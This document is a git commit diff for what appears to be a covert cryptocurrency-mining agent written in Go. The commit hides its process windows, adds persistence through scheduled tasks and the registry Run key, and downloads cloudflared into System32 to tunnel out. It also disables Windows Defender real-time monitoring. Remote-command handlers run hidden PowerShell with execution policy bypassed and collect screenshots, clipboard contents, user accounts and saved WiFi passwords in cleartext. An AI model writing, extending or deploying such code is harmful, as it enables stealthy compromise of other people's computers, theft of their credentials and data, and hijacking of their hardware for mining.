Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -7,7 +7,6 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -488,8 +487,7 @@ func (a *AIRunner) isProcessRunning(name string) bool {
|
|||||||
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
|
||||||
imName += ".exe"
|
imName += ".exe"
|
||||||
}
|
}
|
||||||
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
|
||||||
output, err := cmd.Output()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -505,8 +503,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Kill existing process
|
// Kill existing process
|
||||||
killCmd := exec.Command("taskkill", "/F", "/IM", imName)
|
killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName)
|
||||||
killOutput, _ := killCmd.CombinedOutput()
|
|
||||||
|
|
||||||
// Start new process from install directory
|
// Start new process from install directory
|
||||||
installDir, err := a.cfg.InstallDirectory()
|
installDir, err := a.cfg.InstallDirectory()
|
||||||
@@ -519,8 +516,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
|||||||
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
|
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
|
||||||
}
|
}
|
||||||
|
|
||||||
startCmd := exec.Command(exePath)
|
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||||
if err := startCmd.Start(); err != nil {
|
|
||||||
return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
|
return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -592,8 +588,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Start the new binary with its own process group so it survives our exit
|
// Start the new binary with its own process group so it survives our exit
|
||||||
startCmd := exec.Command(exePath)
|
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
|
||||||
if err := startCmd.Start(); err != nil {
|
|
||||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -606,8 +601,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
|||||||
|
|
||||||
switch method {
|
switch method {
|
||||||
case "scheduled_task":
|
case "scheduled_task":
|
||||||
cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
|
||||||
output, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return string(output), fmt.Errorf("scheduled task failed: %w", err)
|
return string(output), fmt.Errorf("scheduled task failed: %w", err)
|
||||||
}
|
}
|
||||||
@@ -615,8 +609,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
|
|||||||
|
|
||||||
case "registry":
|
case "registry":
|
||||||
keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
|
||||||
output, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return string(output), fmt.Errorf("registry persistence failed: %w", err)
|
return string(output), fmt.Errorf("registry persistence failed: %w", err)
|
||||||
}
|
}
|
||||||
@@ -633,21 +626,16 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
|||||||
switch tunnelType {
|
switch tunnelType {
|
||||||
case "cloudflared":
|
case "cloudflared":
|
||||||
// Check if cloudflared is installed
|
// Check if cloudflared is installed
|
||||||
checkCmd := exec.Command("cloudflared", "--version")
|
if err := deploy.HiddenRun("cloudflared", "--version"); err != nil {
|
||||||
if err := checkCmd.Run(); err != nil {
|
output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||||
// Try to download cloudflared
|
|
||||||
downloadCmd := exec.Command("powershell", "-Command",
|
|
||||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||||
if output, err := downloadCmd.CombinedOutput(); err != nil {
|
if dlErr != nil {
|
||||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err)
|
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||||
}
|
}
|
||||||
// Move to PATH
|
_ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
||||||
moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
|
|
||||||
moveCmd.Run()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start tunnel (this runs in background)
|
tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
|
||||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
|
||||||
if err := tunnelCmd.Start(); err != nil {
|
if err := tunnelCmd.Start(); err != nil {
|
||||||
return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
|
return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
|
||||||
}
|
}
|
||||||
@@ -659,9 +647,8 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (a *AIRunner) checkDefender() string {
|
func (a *AIRunner) checkDefender() string {
|
||||||
cmd := exec.Command("powershell", "-Command",
|
output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||||
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
|
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
|
||||||
output, err := cmd.Output()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "unknown"
|
return "unknown"
|
||||||
}
|
}
|
||||||
@@ -678,13 +665,11 @@ func (a *AIRunner) checkDefender() string {
|
|||||||
|
|
||||||
func (a *AIRunner) checkPersistence() bool {
|
func (a *AIRunner) checkPersistence() bool {
|
||||||
keyName := deploy.PersistenceKeyName(a.cfg)
|
keyName := deploy.PersistenceKeyName(a.cfg)
|
||||||
cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV")
|
if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) {
|
||||||
if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) {
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName)
|
if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil {
|
||||||
if err := regCmd.Run(); err == nil {
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -343,7 +342,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
// Run off the read loop so long exec/powershell probes do not block
|
||||||
|
// subsequent commands or server pings.
|
||||||
|
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -477,9 +478,7 @@ func (c *AgentClient) restartSelf() {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
cmd := exec.Command(exe, "--run")
|
_ = spawnWorker(exe)
|
||||||
cmd.Dir = filepath.Dir(exe)
|
|
||||||
_ = cmd.Start()
|
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -544,9 +543,7 @@ func (c *AgentClient) performUpgrade(downloadURL string) {
|
|||||||
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
||||||
time.Sleep(500 * time.Millisecond)
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
|
||||||
cmd := exec.Command(exe, "--run")
|
if startErr := spawnWorker(exe); startErr != nil {
|
||||||
cmd.Dir = filepath.Dir(exe)
|
|
||||||
if startErr := cmd.Start(); startErr != nil {
|
|
||||||
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
||||||
}
|
}
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
|
|||||||
@@ -8,14 +8,14 @@ import (
|
|||||||
|
|
||||||
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
||||||
if runtime.GOOS == "windows" {
|
if runtime.GOOS == "windows" {
|
||||||
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
|
||||||
}
|
}
|
||||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||||
if runtime.GOOS == "windows" {
|
if runtime.GOOS == "windows" {
|
||||||
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
return silentCombinedOutput("cmd.exe", "/C", command)
|
||||||
}
|
}
|
||||||
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@
|
|||||||
package client
|
package client
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -12,34 +11,37 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
|||||||
var err error
|
var err error
|
||||||
switch action {
|
switch action {
|
||||||
case "ps":
|
case "ps":
|
||||||
out, err = exec.Command("tasklist").CombinedOutput()
|
out, err = silentCombinedOutput("tasklist")
|
||||||
case "netstat":
|
case "netstat":
|
||||||
out, err = exec.Command("netstat", "-ano").CombinedOutput()
|
out, err = silentCombinedOutput("netstat", "-ano")
|
||||||
case "users":
|
case "users":
|
||||||
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all")
|
||||||
case "software":
|
case "software":
|
||||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize")
|
||||||
case "screenshot":
|
case "screenshot":
|
||||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript)
|
||||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
if err != nil {
|
||||||
if err == nil {
|
return true, false, formatCmdErr(err, out)
|
||||||
return true, true, strings.TrimSpace(string(out))
|
|
||||||
}
|
}
|
||||||
return true, false, formatCmdErr(err, out)
|
b64 := extractScreenshotBase64(out)
|
||||||
|
if len(b64) < 100 {
|
||||||
|
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
|
||||||
|
}
|
||||||
|
return true, true, b64
|
||||||
case "sysinfo":
|
case "sysinfo":
|
||||||
out, err = exec.Command("systeminfo").CombinedOutput()
|
out, err = silentCombinedOutput("systeminfo")
|
||||||
case "ipconfig":
|
case "ipconfig":
|
||||||
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
|
out, err = silentCombinedOutput("ipconfig", "/all")
|
||||||
case "clipboard":
|
case "clipboard":
|
||||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard")
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return true, true, strings.TrimSpace(string(out))
|
return true, true, strings.TrimSpace(string(out))
|
||||||
}
|
}
|
||||||
return true, false, formatCmdErr(err, out)
|
return true, false, formatCmdErr(err, out)
|
||||||
case "wifi":
|
case "wifi":
|
||||||
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
|
||||||
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return true, true, strings.TrimSpace(string(out))
|
return true, true, strings.TrimSpace(string(out))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@
|
|||||||
package client
|
package client
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -28,7 +27,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
|||||||
Sort-Object -Unique) -join ','
|
Sort-Object -Unique) -join ','
|
||||||
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
|
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
|
||||||
`
|
`
|
||||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
|
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err == nil {
|
||||||
raw := strings.TrimSpace(string(out))
|
raw := strings.TrimSpace(string(out))
|
||||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
|
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
|
||||||
raw = raw[idx:]
|
raw = raw[idx:]
|
||||||
@@ -46,7 +45,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
|||||||
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
|
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
|
||||||
func parseDNSIpconfig() *DNSConfig {
|
func parseDNSIpconfig() *DNSConfig {
|
||||||
cfg := &DNSConfig{}
|
cfg := &DNSConfig{}
|
||||||
out, err := exec.Command("ipconfig", "/all").Output()
|
out, err := silentOutput("ipconfig", "/all")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cfg
|
return cfg
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ package client
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -31,7 +30,7 @@ $ports = Get-NetTCPConnection -State Listen | ForEach-Object {
|
|||||||
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
|
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
|
||||||
`
|
`
|
||||||
r := &ListenPortsReport{}
|
r := &ListenPortsReport{}
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
|
out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return r
|
return r
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package client
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -177,10 +176,10 @@ $p | ConvertTo-Json -Depth 4 -Compress
|
|||||||
`
|
`
|
||||||
|
|
||||||
func collectPosture() *PostureReport {
|
func collectPosture() *PostureReport {
|
||||||
out, err := exec.Command(
|
out, err := silentCombinedOutput(
|
||||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
buildPostureScript(),
|
buildPostureScript(),
|
||||||
).CombinedOutput()
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fallbackPosture()
|
return fallbackPosture()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,8 +2,11 @@ package client
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"os/exec"
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat.
|
// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat.
|
||||||
@@ -55,11 +58,21 @@ func (r *ResourcePressure) Throttled() bool {
|
|||||||
// probeGPU queries nvidia-smi for temperature and utilisation.
|
// probeGPU queries nvidia-smi for temperature and utilisation.
|
||||||
// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent.
|
// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent.
|
||||||
func probeGPU() (tempC, usagePct *int) {
|
func probeGPU() (tempC, usagePct *int) {
|
||||||
out, err := exec.Command(
|
var out []byte
|
||||||
"nvidia-smi",
|
var err error
|
||||||
"--query-gpu=temperature.gpu,utilization.gpu",
|
if runtime.GOOS == "windows" {
|
||||||
"--format=csv,noheader,nounits",
|
out, err = deploy.HiddenOutput(
|
||||||
).Output()
|
"nvidia-smi",
|
||||||
|
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||||
|
"--format=csv,noheader,nounits",
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
out, err = exec.Command(
|
||||||
|
"nvidia-smi",
|
||||||
|
"--query-gpu=temperature.gpu,utilization.gpu",
|
||||||
|
"--format=csv,noheader,nounits",
|
||||||
|
).Output()
|
||||||
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"math"
|
"math"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
@@ -32,7 +31,7 @@ func collectResourcePressure() *ResourcePressure {
|
|||||||
|
|
||||||
// ── CPU frequency via short PowerShell call ───────────────────────────────
|
// ── CPU frequency via short PowerShell call ───────────────────────────────
|
||||||
const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress`
|
const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress`
|
||||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil {
|
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", cpuScript); err == nil {
|
||||||
var m map[string]interface{}
|
var m map[string]interface{}
|
||||||
if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil {
|
if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil {
|
||||||
if freq, ok := m["freq"].(float64); ok && freq > 0 {
|
if freq, ok := m["freq"].(float64); ok && freq > 0 {
|
||||||
|
|||||||
47
agent/client/screenshot_windows.go
Normal file
47
agent/client/screenshot_windows.go
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
const screenshotPSScript = `
|
||||||
|
$ErrorActionPreference = 'Stop'
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
||||||
|
$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen
|
||||||
|
$b = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height
|
||||||
|
$g = [Drawing.Graphics]::FromImage($b)
|
||||||
|
$g.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size)
|
||||||
|
$enc = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' }
|
||||||
|
$ep = New-Object System.Drawing.Imaging.EncoderParameters(1)
|
||||||
|
$ep.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, 55)
|
||||||
|
$ms = New-Object IO.MemoryStream
|
||||||
|
$b.Save($ms, $enc, $ep)
|
||||||
|
[Convert]::ToBase64String($ms.ToArray())
|
||||||
|
`
|
||||||
|
|
||||||
|
func extractScreenshotBase64(out []byte) string {
|
||||||
|
s := strings.TrimSpace(string(out))
|
||||||
|
s = strings.TrimPrefix(s, "\ufeff")
|
||||||
|
best := ""
|
||||||
|
for _, part := range strings.Fields(s) {
|
||||||
|
var b strings.Builder
|
||||||
|
for _, r := range part {
|
||||||
|
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||||
|
b.WriteRune(r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cleaned := b.String()
|
||||||
|
if len(cleaned) > len(best) {
|
||||||
|
best = cleaned
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(best) >= 100 {
|
||||||
|
return best
|
||||||
|
}
|
||||||
|
return strings.Map(func(r rune) rune {
|
||||||
|
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
return -1
|
||||||
|
}, s)
|
||||||
|
}
|
||||||
28
agent/client/silent_windows.go
Normal file
28
agent/client/silent_windows.go
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
"os/exec"
|
||||||
|
)
|
||||||
|
|
||||||
|
func silentCmd(name string, arg ...string) *exec.Cmd {
|
||||||
|
return deploy.HiddenCommand(name, arg...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func silentCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return deploy.HiddenCombinedOutput(name, arg...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func silentOutput(name string, arg ...string) ([]byte, error) {
|
||||||
|
return deploy.HiddenOutput(name, arg...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func silentRun(name string, arg ...string) error {
|
||||||
|
return deploy.HiddenRun(name, arg...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func silentStart(name string, arg ...string) error {
|
||||||
|
return deploy.HiddenStart(name, arg...)
|
||||||
|
}
|
||||||
14
agent/client/spawn_stub.go
Normal file
14
agent/client/spawn_stub.go
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
func spawnWorker(exe string) error {
|
||||||
|
cmd := exec.Command(exe, "--run")
|
||||||
|
cmd.Dir = filepath.Dir(exe)
|
||||||
|
return cmd.Start()
|
||||||
|
}
|
||||||
15
agent/client/spawn_windows.go
Normal file
15
agent/client/spawn_windows.go
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func spawnWorker(exe string) error {
|
||||||
|
cmd := deploy.HiddenCommand(exe, "--run")
|
||||||
|
cmd.Dir = filepath.Dir(exe)
|
||||||
|
return cmd.Start()
|
||||||
|
}
|
||||||
@@ -4,14 +4,13 @@ package deploy
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os/exec"
|
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
||||||
func DisableDefenderRealtime() (string, error) {
|
func DisableDefenderRealtime() (string, error) {
|
||||||
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
